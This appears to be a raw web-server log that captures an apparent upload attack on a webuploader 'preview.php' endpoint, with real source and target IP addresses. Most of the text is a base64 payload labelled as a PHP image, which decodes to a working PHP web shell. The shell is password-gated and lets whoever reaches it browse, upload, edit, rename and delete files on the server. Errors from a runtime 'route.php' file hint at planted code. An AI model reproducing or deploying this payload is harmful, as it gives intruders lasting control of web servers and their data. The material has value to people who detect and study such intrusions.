IHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:09:22+08:00 ] 119.42.146.234 POST 59.110.137.245/001/lib/webuploader/0.1.15/server/server/preview.php [运行时间:0.003072s] [吞吐率:325.52req/s] [内存消耗:196.78kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '001', 2 => 'lib', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiA